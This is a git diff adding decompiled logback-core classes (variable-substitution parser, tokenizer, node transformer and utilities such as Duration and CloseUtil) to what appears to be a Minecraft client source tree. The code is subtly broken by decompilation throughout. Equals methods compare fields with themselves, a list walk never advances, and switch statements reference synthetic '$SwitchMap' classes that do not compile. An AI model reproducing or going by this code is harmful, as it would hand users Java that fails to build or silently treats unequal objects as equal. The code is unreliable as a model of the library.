+      return "Node{type=" + type + ", payload='" + payload + "'}";
+    
+
+
+    case 2: 
+      StringBuilder payloadBuf = new StringBuilder();
+      StringBuilder defaultPartBuf2 = new StringBuilder();
+      if (defaultPart != null) {
+        recursive((Node)defaultPart, defaultPartBuf2);
+      }
+      recursive((Node)payload, payloadBuf);
+      String r = "Node{type=" + type + ", payload='" + payloadBuf.toString() + "'";
+      
+
+      if (defaultPart != null)
+        r = r + ", defaultPart=" + defaultPartBuf2.toString();
+      r = r + '}';
+      return r;
+    }
+    return null;
+  }
+  
+  public void dump() {
+    System.out.print(toString());
+    System.out.print(" -> ");
+    if (next != null) {
+      next.dump();
+    } else {
+      System.out.print(" null");
+    }
+  }
+  
+  void recursive(Node n, StringBuilder sb) {
+    Node c = n;
+    while (c != null) {
+      sb.append(c.toString()).append(" --> ");
+      c = next;
+    }
+    sb.append("null ");
+  }
+  
+  public void setNext(Node n) {
+    next = n;
+  }
+  
+  public boolean equals(Object o)
+  {
+    if (this == o) return true;
+    if ((o == null) || (getClass() != o.getClass())) { return false;
+    }
+    Node node = (Node)o;
+    
+    if (type != type) return false;
+    if (payload != null ? !payload.equals(payload) : payload != null) return false;
+    if (defaultPart != null ? !defaultPart.equals(defaultPart) : defaultPart != null) return false;
+    if (next != null ? !next.equals(next) : next != null) { return false;
+    }
+    
+    return true;
+  }
+  
+  public int hashCode()
+  {
+    int result = type != null ? type.hashCode() : 0;
+    result = 31 * result + (payload != null ? payload.hashCode() : 0);
+    result = 31 * result + (defaultPart != null ? defaultPart.hashCode() : 0);
+    result = 31 * result + (next != null ? next.hashCode() : 0);
+    return result;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/subst/NodeToStringTransformer.java b/src/minecraft/ch/qos/logback/core/subst/NodeToStringTransformer.java
new file mode 100644
index 0000000..ddc6515
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/subst/NodeToStringTransformer.java
@@ -0,0 +1,182 @@
+package ch.qos.logback.core.subst;
+
+import ch.qos.logback.core.spi.PropertyContainer;
+import ch.qos.logback.core.spi.ScanException;
+import ch.qos.logback.core.util.OptionHelper;
+import java.util.List;
+import java.util.Stack;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class NodeToStringTransformer
+{
+  final Node node;
+  final PropertyContainer propertyContainer0;
+  final PropertyContainer propertyContainer1;
+  
+  public NodeToStringTransformer(Node node, PropertyContainer propertyContainer0, PropertyContainer propertyContainer1)
+  {
+    this.node = node;
+    this.propertyContainer0 = propertyContainer0;
+    this.propertyContainer1 = propertyContainer1;
+  }
+  
+  public NodeToStringTransformer(Node node, PropertyContainer propertyContainer0) {
+    this(node, propertyContainer0, null);
+  }
+  
+  public static String substituteVariable(String input, PropertyContainer pc0, PropertyContainer pc1) throws ScanException {
+    Node node = tokenizeAndParseString(input);
+    NodeToStringTransformer nodeToStringTransformer = new NodeToStringTransformer(node, pc0, pc1);
+    return nodeToStringTransformer.transform();
+  }
+  
+  private static Node tokenizeAndParseString(String value) throws ScanException {
+    Tokenizer tokenizer = new Tokenizer(value);
+    List<Token> tokens = tokenizer.tokenize();
+    Parser parser = new Parser(tokens);
+    return parser.parse();
+  }
+  
+  public String transform() throws ScanException {
+    StringBuilder stringBuilder = new StringBuilder();
+    compileNode(node, stringBuilder, new Stack());
+    return stringBuilder.toString();
+  }
+  
+  private void compileNode(Node inputNode, StringBuilder stringBuilder, Stack<Node> cycleCheckStack) throws ScanException {
+    Node n = inputNode;
+    while (n != null) {
+      switch (1.$SwitchMap$ch$qos$logback$core$subst$Node$Type[type.ordinal()]) {
+      case 1: 
+        handleLiteral(n, stringBuilder);
+        break;
+      case 2: 
+        handleVariable(n, stringBuilder, cycleCheckStack);
+      }
+      
+      n = next;
+    }
+  }
+  
+  private void handleVariable(Node n, StringBuilder stringBuilder, Stack<Node> cycleCheckStack)
+    throws ScanException
+  {
+    if (haveVisitedNodeAlready(n, cycleCheckStack)) {
+      cycleCheckStack.push(n);
+      String error = constructRecursionErrorMessage(cycleCheckStack);
+      throw new IllegalArgumentException(error);
+    }
+    cycleCheckStack.push(n);
+    
+    StringBuilder keyBuffer = new StringBuilder();
+    Node payload = (Node)payload;
+    compileNode(payload, keyBuffer, cycleCheckStack);
+    String key = keyBuffer.toString();
+    String value = lookupKey(key);
+    
+    if (value != null) {
+      Node innerNode = tokenizeAndParseString(value);
+      compileNode(innerNode, stringBuilder, cycleCheckStack);
+      cycleCheckStack.pop();
+      return;
+    }
+    
+    if (defaultPart == null) {
+      stringBuilder.append(key + "_IS_UNDEFINED");
+      cycleCheckStack.pop();
+      return;
+    }
+    
+    Node defaultPart = (Node)defaultPart;
+    StringBuilder defaultPartBuffer = new StringBuilder();
+    compileNode(defaultPart, defaultPartBuffer, cycleCheckStack);
+    cycleCheckStack.pop();
+    String defaultVal = defaultPartBuffer.toString();
+    stringBuilder.append(defaultVal);
+  }
+  
+  private String lookupKey(String key) {
+    String value = propertyContainer0.getProperty(key);
+    if (value != null) {
+      return value;
+    }
+    if (propertyContainer1 != null) {
+      value = propertyContainer1.getProperty(key);
+      if (value != null) {
+        return value;
+      }
+    }
+    value = OptionHelper.getSystemProperty(key, null);
+    if (value != null) {
+      return value;
+    }
+    value = OptionHelper.getEnv(key);
+    if (value != null) {
+      return value;
+    }
+    
+    return null;
+  }
+  
+  private void handleLiteral(Node n, StringBuilder stringBuilder)
+  {
+    stringBuilder.append((String)payload);
+  }
+  
+  private String variableNodeValue(Node variableNode) {
+    Node literalPayload = (Node)payload;
+    return (String)payload;
+  }
+  
+  private String constructRecursionErrorMessage(Stack<Node> recursionNodes) {
+    StringBuilder errorBuilder = new StringBuilder("Circular variable reference detected while parsing input [");
+    
+    for (Node stackNode : recursionNodes) {
+      errorBuilder.append("${").append(variableNodeValue(stackNode)).append("}");
+      if (recursionNodes.lastElement() != stackNode) {
+        errorBuilder.append(" --> ");
+      }
+    }
+    errorBuilder.append("]");
+    return errorBuilder.toString();
+  }
+  
+
+
+
+
+  private boolean haveVisitedNodeAlready(Node node, Stack<Node> cycleDetectionStack)
+  {
+    for (Node cycleNode : cycleDetectionStack) {
+      if (equalNodes(node, cycleNode)) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+  private boolean equalNodes(Node node1, Node node2) { if ((type != null) && (!type.equals(type))) return false;
+    if ((payload != null) && (!payload.equals(payload))) return false;
+    if ((defaultPart != null) && (!defaultPart.equals(defaultPart))) { return false;
+    }
+    return true;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/subst/Parser.java b/src/minecraft/ch/qos/logback/core/subst/Parser.java
new file mode 100644
index 0000000..749d530
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/subst/Parser.java
@@ -0,0 +1,162 @@
+package ch.qos.logback.core.subst;
+
+import ch.qos.logback.core.CoreConstants;
+import ch.qos.logback.core.spi.ScanException;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Parser
+{
+  final List<Token> tokenList;
+  int pointer = 0;
+  
+  public Parser(List<Token> tokenList) {
+    this.tokenList = tokenList;
+  }
+  
+  public Node parse() throws ScanException {
+    if ((tokenList == null) || (tokenList.isEmpty()))
+      return null;
+    return E();
+  }
+  
+  private Node E() throws ScanException {
+    Node t = T();
+    if (t == null) {
+      return null;
+    }
+    Node eOpt = Eopt();
+    if (eOpt != null) {
+      t.append(eOpt);
+    }
+    return t;
+  }
+  
+  private Node Eopt() throws ScanException
+  {
+    Token next = peekAtCurentToken();
+    if (next == null) {
+      return null;
+    }
+    return E();
+  }
+  
+  private Node T()
+    throws ScanException
+  {
+    Token t = peekAtCurentToken();
+    
+    switch (1.$SwitchMap$ch$qos$logback$core$subst$Token$Type[type.ordinal()]) {
+    case 1: 
+      advanceTokenPointer();
+      return makeNewLiteralNode(payload);
+    case 2: 
+      advanceTokenPointer();
+      Node innerNode = C();
+      Token right = peekAtCurentToken();
+      expectCurlyRight(right);
+      advanceTokenPointer();
+      Node curlyLeft = makeNewLiteralNode(CoreConstants.LEFT_ACCOLADE);
+      curlyLeft.append(innerNode);
+      curlyLeft.append(makeNewLiteralNode(CoreConstants.RIGHT_ACCOLADE));
+      return curlyLeft;
+    case 3: 
+      advanceTokenPointer();
+      Node v = V();
+      Token w = peekAtCurentToken();
+      expectCurlyRight(w);
+      advanceTokenPointer();
+      return v;
+    }
+    return null;
+  }
+  
+  private Node makeNewLiteralNode(String s)
+  {
+    return new Node(Node.Type.LITERAL, s);
+  }
+  
+  private Node V() throws ScanException
+  {
+    Node e = E();
+    Node variable = new Node(Node.Type.VARIABLE, e);
+    Token t = peekAtCurentToken();
+    if (isDefaultToken(t)) {
+      advanceTokenPointer();
+      Node def = E();
+      defaultPart = def;
+    }
+    return variable;
+  }
+  
+  private Node C() throws ScanException
+  {
+    Node e0 = E();
+    Token t = peekAtCurentToken();
+    if (isDefaultToken(t)) {
+      advanceTokenPointer();
+      Node literal = makeNewLiteralNode(":-");
+      e0.append(literal);
+      Node e1 = E();
+      e0.append(e1);
+    }
+    return e0;
+  }
+  
+  private boolean isDefaultToken(Token t) {
+    return (t != null) && (type == Token.Type.DEFAULT);
+  }
+  
+  void advanceTokenPointer() {
+    pointer += 1;
+  }
+  
+  void expectNotNull(Token t, String expected) {
+    if (t == null) {
+      throw new IllegalArgumentException("All tokens consumed but was expecting \"" + expected + "\"");
+    }
+  }
+  
+  void expectCurlyRight(Token t) throws ScanException
+  {
+    expectNotNull(t, "}");
+    if (type != Token.Type.CURLY_RIGHT) {
+      throw new ScanException("Expecting }");
+    }
+  }
+  
+  Token peekAtCurentToken() {
+    if (pointer < tokenList.size()) {
+      return (Token)tokenList.get(pointer);
+    }
+    return null;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/subst/Token.java b/src/minecraft/ch/qos/logback/core/subst/Token.java
new file mode 100644
index 0000000..f133c80
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/subst/Token.java
@@ -0,0 +1,63 @@
+package ch.qos.logback.core.subst;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Token
+{
+  public static final Token START_TOKEN = new Token(Type.START, null);
+  public static final Token CURLY_LEFT_TOKEN = new Token(Type.CURLY_LEFT, null);
+  public static final Token CURLY_RIGHT_TOKEN = new Token(Type.CURLY_RIGHT, null);
+  public static final Token DEFAULT_SEP_TOKEN = new Token(Type.DEFAULT, null);
+  
+  public static enum Type { LITERAL,  START,  CURLY_LEFT,  CURLY_RIGHT,  DEFAULT;
+    
+    private Type() {} }
+  
+  Type type;
+  String payload;
+  public Token(Type type, String payload) { this.type = type;
+    this.payload = payload;
+  }
+  
+  public boolean equals(Object o)
+  {
+    if (this == o) return true;
+    if ((o == null) || (getClass() != o.getClass())) { return false;
+    }
+    Token token = (Token)o;
+    
+    if (type != type) return false;
+    if (payload != null ? !payload.equals(payload) : payload != null) { return false;
+    }
+    return true;
+  }
+  
+  public int hashCode()
+  {
+    int result = type != null ? type.hashCode() : 0;
+    result = 31 * result + (payload != null ? payload.hashCode() : 0);
+    return result;
+  }
+  
+  public String toString()
+  {
+    String result = "Token{type=" + type;
+    
+    if (payload != null) {
+      result = result + ", payload='" + payload + '\'';
+    }
+    result = result + '}';
+    return result;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/subst/Tokenizer.java b/src/minecraft/ch/qos/logback/core/subst/Tokenizer.java
new file mode 100644
index 0000000..c40e96d
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/subst/Tokenizer.java
@@ -0,0 +1,124 @@
+package ch.qos.logback.core.subst;
+
+import ch.qos.logback.core.spi.ScanException;
+import java.util.ArrayList;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+public class Tokenizer
+{
+  final String pattern;
+  final int patternLength;
+  
+  static enum TokenizerState
+  {
+    LITERAL_STATE,  START_STATE,  DEFAULT_VAL_STATE;
+    
+    private TokenizerState() {}
+  }
+  
+  public Tokenizer(String pattern) {
+    this.pattern = pattern;
+    patternLength = pattern.length();
+  }
+  
+  TokenizerState state = TokenizerState.LITERAL_STATE;
+  int pointer = 0;
+  
+  List<Token> tokenize() throws ScanException {
+    List<Token> tokenList = new ArrayList();
+    StringBuilder buf = new StringBuilder();
+    
+    while (pointer < patternLength) {
+      char c = pattern.charAt(pointer);
+      pointer += 1;
+      
+      switch (1.$SwitchMap$ch$qos$logback$core$subst$Tokenizer$TokenizerState[state.ordinal()]) {
+      case 1: 
+        handleLiteralState(c, tokenList, buf);
+        break;
+      case 2: 
+        handleStartState(c, tokenList, buf);
+        break;
+      case 3: 
+        handleDefaultValueState(c, tokenList, buf);
+      }
+      
+    }
+    
+    switch (1.$SwitchMap$ch$qos$logback$core$subst$Tokenizer$TokenizerState[state.ordinal()]) {
+    case 1: 
+      addLiteralToken(tokenList, buf);
+      break;
+    case 2: 
+      throw new ScanException("Unexpected end of pattern string");
+    }
+    return tokenList;
+  }
+  
+  private void handleDefaultValueState(char c, List<Token> tokenList, StringBuilder stringBuilder) {
+    switch (c) {
+    case '-': 
+      tokenList.add(Token.DEFAULT_SEP_TOKEN);
+      state = TokenizerState.LITERAL_STATE;
+      break;
+    case '$': 
+      stringBuilder.append(':');
+      addLiteralToken(tokenList, stringBuilder);
+      stringBuilder.setLength(0);
+      state = TokenizerState.START_STATE;
+      break;
+    default: 
+      stringBuilder.append(':').append(c);
+      state = TokenizerState.LITERAL_STATE;
+    }
+  }
+  
+  private void handleStartState(char c, List<Token> tokenList, StringBuilder stringBuilder)
+  {
+    if (c == '{') {
+      tokenList.add(Token.START_TOKEN);
+    } else {
+      stringBuilder.append('$').append(c);
+    }
+    state = TokenizerState.LITERAL_STATE;
+  }
+  
+  private void handleLiteralState(char c, List<Token> tokenList, StringBuilder stringBuilder) {
+    if (c == '$') {
+      addLiteralToken(tokenList, stringBuilder);
+      stringBuilder.setLength(0);
+      state = TokenizerState.START_STATE;
+    } else if (c == ':') {
+      addLiteralToken(tokenList, stringBuilder);
+      stringBuilder.setLength(0);
+      state = TokenizerState.DEFAULT_VAL_STATE;
+    } else if (c == '{') {
+      addLiteralToken(tokenList, stringBuilder);
+      tokenList.add(Token.CURLY_LEFT_TOKEN);
+      stringBuilder.setLength(0);
+    } else if (c == '}') {
+      addLiteralToken(tokenList, stringBuilder);
+      tokenList.add(Token.CURLY_RIGHT_TOKEN);
+      stringBuilder.setLength(0);
+    } else {
+      stringBuilder.append(c);
+    }
+  }
+  
+  private void addLiteralToken(List<Token> tokenList, StringBuilder stringBuilder)
+  {
+    if (stringBuilder.length() == 0)
+      return;
+    tokenList.add(new Token(Token.Type.LITERAL, stringBuilder.toString()));
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/util/AggregationType.java b/src/minecraft/ch/qos/logback/core/util/AggregationType.java
new file mode 100644
index 0000000..82c5327
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/util/AggregationType.java
@@ -0,0 +1,8 @@
+package ch.qos.logback.core.util;
+
+public enum AggregationType
+{
+  NOT_FOUND,  AS_BASIC_PROPERTY,  AS_COMPLEX_PROPERTY,  AS_BASIC_PROPERTY_COLLECTION,  AS_COMPLEX_PROPERTY_COLLECTION;
+  
+  private AggregationType() {}
+}
diff --git a/src/minecraft/ch/qos/logback/core/util/CachingDateFormatter.java b/src/minecraft/ch/qos/logback/core/util/CachingDateFormatter.java
new file mode 100644
index 0000000..3dc23dc
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/util/CachingDateFormatter.java
@@ -0,0 +1,58 @@
+package ch.qos.logback.core.util;
+
+import java.text.SimpleDateFormat;
+import java.util.Date;
+import java.util.TimeZone;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class CachingDateFormatter
+{
+  long lastTimestamp = -1L;
+  String cachedStr = null;
+  final SimpleDateFormat sdf;
+  
+  public CachingDateFormatter(String pattern) {
+    sdf = new SimpleDateFormat(pattern);
+  }
+  
+
+
+
+
+
+
+
+  public final String format(long now)
+  {
+    synchronized (this) {
+      if (now != lastTimestamp) {
+        lastTimestamp = now;
+        cachedStr = sdf.format(new Date(now));
+      }
+      return cachedStr;
+    }
+  }
+  
+  public void setTimeZone(TimeZone tz) {
+    sdf.setTimeZone(tz);
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/util/CharSequenceState.java b/src/minecraft/ch/qos/logback/core/util/CharSequenceState.java
new file mode 100644
index 0000000..d60bcfb
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/util/CharSequenceState.java
@@ -0,0 +1,32 @@
+package ch.qos.logback.core.util;
+
+
+
+
+
+
+class CharSequenceState
+{
+  final char c;
+  
+
+
+
+
+  int occurrences;
+  
+
+
+
+
+
+  public CharSequenceState(char c)
+  {
+    this.c = c;
+    occurrences = 1;
+  }
+  
+  void incrementOccurrences() {
+    occurrences += 1;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/util/CharSequenceToRegexMapper.java b/src/minecraft/ch/qos/logback/core/util/CharSequenceToRegexMapper.java
new file mode 100644
index 0000000..e34d55d
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/util/CharSequenceToRegexMapper.java
@@ -0,0 +1,126 @@
+package ch.qos.logback.core.util;
+
+import java.text.DateFormatSymbols;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class CharSequenceToRegexMapper
+{
+  CharSequenceToRegexMapper() {}
+  
+  DateFormatSymbols symbols = DateFormatSymbols.getInstance();
+  
+  String toRegex(CharSequenceState css) {
+    int occurrences = occurrences;
+    char c = c;
+    switch (c) {
+    case 'G': 
+    case 'z': 
+      return ".*";
+    case 'M': 
+      if (occurrences <= 2)
+        return number(occurrences);
+      if (occurrences == 3) {
+        return getRegexForShortMonths();
+      }
+      return getRegexForLongMonths();
+    case 'D': 
+    case 'F': 
+    case 'H': 
+    case 'K': 
+    case 'S': 
+    case 'W': 
+    case 'd': 
+    case 'h': 
+    case 'k': 
+    case 'm': 
+    case 's': 
+    case 'w': 
+    case 'y': 
+      return number(occurrences);
+    case 'E': 
+      if (occurrences >= 4) {
+        return getRegexForLongDaysOfTheWeek();
+      }
+      return getRegexForShortDaysOfTheWeek();
+    
+    case 'a': 
+      return getRegexForAmPms();
+    case 'Z': 
+      return "(\\+|-)\\d{4}";
+    case '.': 
+      return "\\.";
+    case '\\': 
+      throw new IllegalStateException("Forward slashes are not allowed");
+    case '\'': 
+      if (occurrences == 1) {
+        return "";
+      }
+      throw new IllegalStateException("Too many single quotes");
+    }
+    if (occurrences == 1) {
+      return "" + c;
+    }
+    return c + "{" + occurrences + "}";
+  }
+  
+
+  private String number(int occurrences)
+  {
+    return "\\d{" + occurrences + "}";
+  }
+  
+  private String getRegexForAmPms() {
+    return symbolArrayToRegex(symbols.getAmPmStrings());
+  }
+  
+  private String getRegexForLongDaysOfTheWeek() {
+    return symbolArrayToRegex(symbols.getWeekdays());
+  }
+  
+  private String getRegexForShortDaysOfTheWeek() {
+    return symbolArrayToRegex(symbols.getShortWeekdays());
+  }
+  
+  private String getRegexForLongMonths() {
+    return symbolArrayToRegex(symbols.getMonths());
+  }
+  
+  String getRegexForShortMonths() {
+    return symbolArrayToRegex(symbols.getShortMonths());
+  }
+  
+  private String symbolArrayToRegex(String[] symbolArray) {
+    int[] minMax = findMinMaxLengthsInSymbols(symbolArray);
+    return ".{" + minMax[0] + "," + minMax[1] + "}";
+  }
+  
+  static int[] findMinMaxLengthsInSymbols(String[] symbols) {
+    int min = Integer.MAX_VALUE;
+    int max = 0;
+    for (String symbol : symbols) {
+      int len = symbol.length();
+      
+      if (len != 0)
+      {
+        min = Math.min(min, len);
+        max = Math.max(max, len);
+      } }
+    return new int[] { min, max };
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/util/CloseUtil.java b/src/minecraft/ch/qos/logback/core/util/CloseUtil.java
new file mode 100644
index 0000000..c85c886
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/util/CloseUtil.java
@@ -0,0 +1,68 @@
+package ch.qos.logback.core.util;
+
+import java.io.Closeable;
+import java.io.IOException;
+import java.net.ServerSocket;
+import java.net.Socket;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class CloseUtil
+{
+  public CloseUtil() {}
+  
+  public static void closeQuietly(Closeable closeable)
+  {
+    if (closeable == null) return;
+    try {
+      closeable.close();
+    }
+    catch (IOException ex) {}
+  }
+  
+
+
+
+
+
+  public static void closeQuietly(Socket socket)
+  {
+    if (socket == null) return;
+    try {
+      socket.close();
+    }
+    catch (IOException ex) {}
+  }
+  
+
+
+
+
+
+
+  public static void closeQuietly(ServerSocket serverSocket)
+  {
+    if (serverSocket == null) return;
+    try {
+      serverSocket.close();
+    }
+    catch (IOException ex) {}
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/util/ContentTypeUtil.java b/src/minecraft/ch/qos/logback/core/util/ContentTypeUtil.java
new file mode 100644
index 0000000..707c0d7
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/util/ContentTypeUtil.java
@@ -0,0 +1,45 @@
+package ch.qos.logback.core.util;
+
+
+
+
+
+
+
+
+
+public class ContentTypeUtil
+{
+  public ContentTypeUtil() {}
+  
+
+
+
+
+
+
+
+
+  public static boolean isTextual(String contextType)
+  {
+    if (contextType == null) {
+      return false;
+    }
+    return contextType.startsWith("text");
+  }
+  
+  public static String getSubType(String contextType) {
+    if (contextType == null) {
+      return null;
+    }
+    int index = contextType.indexOf('/');
+    if (index == -1) {
+      return null;
+    }
+    int subTypeStartIndex = index + 1;
+    if (subTypeStartIndex < contextType.length()) {
+      return contextType.substring(subTypeStartIndex);
+    }
+    return null;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/util/ContextUtil.java b/src/minecraft/ch/qos/logback/core/util/ContextUtil.java
new file mode 100644
index 0000000..0c0bb5b
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/util/ContextUtil.java
@@ -0,0 +1,107 @@
+package ch.qos.logback.core.util;
+
+import ch.qos.logback.core.Context;
+import ch.qos.logback.core.spi.ContextAwareBase;
+import java.net.InetAddress;
+import java.net.NetworkInterface;
+import java.net.SocketException;
+import java.net.UnknownHostException;
+import java.util.Enumeration;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Properties;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ContextUtil
+  extends ContextAwareBase
+{
+  public ContextUtil(Context context)
+  {
+    setContext(context);
+  }
+  
+  public static String getLocalHostName() throws UnknownHostException, SocketException
+  {
+    try {
+      InetAddress localhost = InetAddress.getLocalHost();
+      return localhost.getHostName();
+    } catch (UnknownHostException e) {}
+    return getLocalAddressAsString();
+  }
+  
+  private static String getLocalAddressAsString()
+    throws UnknownHostException, SocketException
+  {
+    Enumeration<NetworkInterface> interfaces = NetworkInterface.getNetworkInterfaces();
+    
+    while ((interfaces != null) && (interfaces.hasMoreElements())) {
+      Enumeration<InetAddress> addresses = ((NetworkInterface)interfaces.nextElement()).getInetAddresses();
+      
+      while ((addresses != null) && (addresses.hasMoreElements())) {
+        InetAddress address = (InetAddress)addresses.nextElement();
+        if (acceptableAddress(address)) {
+          return address.getHostAddress();
+        }
+      }
+    }
+    throw new UnknownHostException();
+  }
+  
+  private static boolean acceptableAddress(InetAddress address) {
+    return (address != null) && (!address.isLoopbackAddress()) && (!address.isAnyLocalAddress()) && (!address.isLinkLocalAddress());
+  }
+  
+
+
+
+
+  public void addHostNameAsProperty()
+  {
+    try
+    {
+      String localhostName = getLocalHostName();
+      context.putProperty("HOSTNAME", localhostName);
+    } catch (UnknownHostException e) {
+      addError("Failed to get local hostname", e);
+    } catch (SocketException e) {
+      addError("Failed to get local hostname", e);
+    } catch (SecurityException e) {
+      addError("Failed to get local hostname", e);
+    }
+  }
+  
+  public void addProperties(Properties props) {
+    if (props == null) {
+      return;
+    }
+    Iterator i = props.keySet().iterator();
+    while (i.hasNext()) {
+      String key = (String)i.next();
+      context.putProperty(key, props.getProperty(key));
+    }
+  }
+  
+
+  public void addGroovyPackages(List<String> frameworkPackages)
+  {
+    addFrameworkPackage(frameworkPackages, "org.codehaus.groovy.runtime");
+  }
+  
+  public void addFrameworkPackage(List<String> frameworkPackages, String packageName) {
+    if (!frameworkPackages.contains(packageName)) {
+      frameworkPackages.add(packageName);
+    }
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/util/DatePatternToRegexUtil.java b/src/minecraft/ch/qos/logback/core/util/DatePatternToRegexUtil.java
new file mode 100644
index 0000000..f338c5f
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/util/DatePatternToRegexUtil.java
@@ -0,0 +1,62 @@
+package ch.qos.logback.core.util;
+
+import java.util.ArrayList;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DatePatternToRegexUtil
+{
+  final String datePattern;
+  final int datePatternLength;
+  final CharSequenceToRegexMapper regexMapper = new CharSequenceToRegexMapper();
+  
+  public DatePatternToRegexUtil(String datePattern) {
+    this.datePattern = datePattern;
+    datePatternLength = datePattern.length();
+  }
+  
+  public String toRegex() {
+    List<CharSequenceState> charSequenceList = tokenize();
+    StringBuilder sb = new StringBuilder();
+    for (CharSequenceState seq : charSequenceList) {
+      sb.append(regexMapper.toRegex(seq));
+    }
+    return sb.toString();
+  }
+  
+  private List<CharSequenceState> tokenize() {
+    List<CharSequenceState> sequenceList = new ArrayList();
+    
+    CharSequenceState lastCharSequenceState = null;
+    
+    for (int i = 0; i < datePatternLength; i++) {
+      char t = datePattern.charAt(i);
+      if ((lastCharSequenceState == null) || (c != t)) {
+        lastCharSequenceState = new CharSequenceState(t);
+        sequenceList.add(lastCharSequenceState);
+      } else {
+        lastCharSequenceState.incrementOccurrences();
+      }
+    }
+    return sequenceList;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/util/DelayStrategy.java b/src/minecraft/ch/qos/logback/core/util/DelayStrategy.java
new file mode 100644
index 0000000..0533dda
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/util/DelayStrategy.java
@@ -0,0 +1,6 @@
+package ch.qos.logback.core.util;
+
+public abstract interface DelayStrategy
+{
+  public abstract long nextDelay();
+}
diff --git a/src/minecraft/ch/qos/logback/core/util/Duration.java b/src/minecraft/ch/qos/logback/core/util/Duration.java
new file mode 100644
index 0000000..15d4f39
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/util/Duration.java
@@ -0,0 +1,124 @@
+package ch.qos.logback.core.util;
+
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Duration
+{
+  private static final String DOUBLE_PART = "([0-9]*(.[0-9]+)?)";
+  private static final int DOUBLE_GROUP = 1;
+  private static final String UNIT_PART = "(|milli(second)?|second(e)?|minute|hour|day)s?";
+  private static final int UNIT_GROUP = 3;
+  private static final Pattern DURATION_PATTERN = Pattern.compile("([0-9]*(.[0-9]+)?)\\s*(|milli(second)?|second(e)?|minute|hour|day)s?", 2);
+  
+  static final long SECONDS_COEFFICIENT = 1000L;
+  
+  static final long MINUTES_COEFFICIENT = 60000L;
+  static final long HOURS_COEFFICIENT = 3600000L;
+  static final long DAYS_COEFFICIENT = 86400000L;
+  final long millis;
+  
+  public Duration(long millis)
+  {
+    this.millis = millis;
+  }
+  
+  public static Duration buildByMilliseconds(double value) {
+    return new Duration(value);
+  }
+  
+  public static Duration buildBySeconds(double value) {
+    return new Duration((1000.0D * value));
+  }
+  
+  public static Duration buildByMinutes(double value) {
+    return new Duration((60000.0D * value));
+  }
+  
+  public static Duration buildByHours(double value) {
+    return new Duration((3600000.0D * value));
+  }
+  
+  public static Duration buildByDays(double value) {
+    return new Duration((8.64E7D * value));
+  }
+  
+  public static Duration buildUnbounded() {
+    return new Duration(Long.MAX_VALUE);
+  }
+  
+  public long getMilliseconds() {
+    return millis;
+  }
+  
+  public static Duration valueOf(String durationStr) {
+    Matcher matcher = DURATION_PATTERN.matcher(durationStr);
+    
+    if (matcher.matches()) {
+      String doubleStr = matcher.group(1);
+      String unitStr = matcher.group(3);
+      
+      double doubleValue = Double.valueOf(doubleStr).doubleValue();
+      if ((unitStr.equalsIgnoreCase("milli")) || (unitStr.equalsIgnoreCase("millisecond")) || (unitStr.length() == 0))
+      {
+        return buildByMilliseconds(doubleValue); }
+      if ((unitStr.equalsIgnoreCase("second")) || (unitStr.equalsIgnoreCase("seconde")))
+      {
+        return buildBySeconds(doubleValue); }
+      if (unitStr.equalsIgnoreCase("minute"))
+        return buildByMinutes(doubleValue);
+      if (unitStr.equalsIgnoreCase("hour"))
+        return buildByHours(doubleValue);
+      if (unitStr.equalsIgnoreCase("day")) {
+        return buildByDays(doubleValue);
+      }
+      throw new IllegalStateException("Unexpected " + unitStr);
+    }
+    
+    throw new IllegalArgumentException("String value [" + durationStr + "] is not in the expected format.");
+  }
+  
+
+
+  public String toString()
+  {
+    if (millis < 1000L)
+      return millis + " milliseconds";
+    if (millis < 60000L)
+      return millis / 1000L + " seconds";
+    if (millis < 3600000L) {
+      return millis / 60000L + " minutes";
+    }
+    return millis / 3600000L + " hours";
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/util/DynamicClassLoadingException.java b/src/minecraft/ch/qos/logback/core/util/DynamicClassLoadingException.java
new file mode 100644
index 0000000..0ee6b0d
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/util/DynamicClassLoadingException.java
@@ -0,0 +1,23 @@
+package ch.qos.logback.core.util;
+
+
+
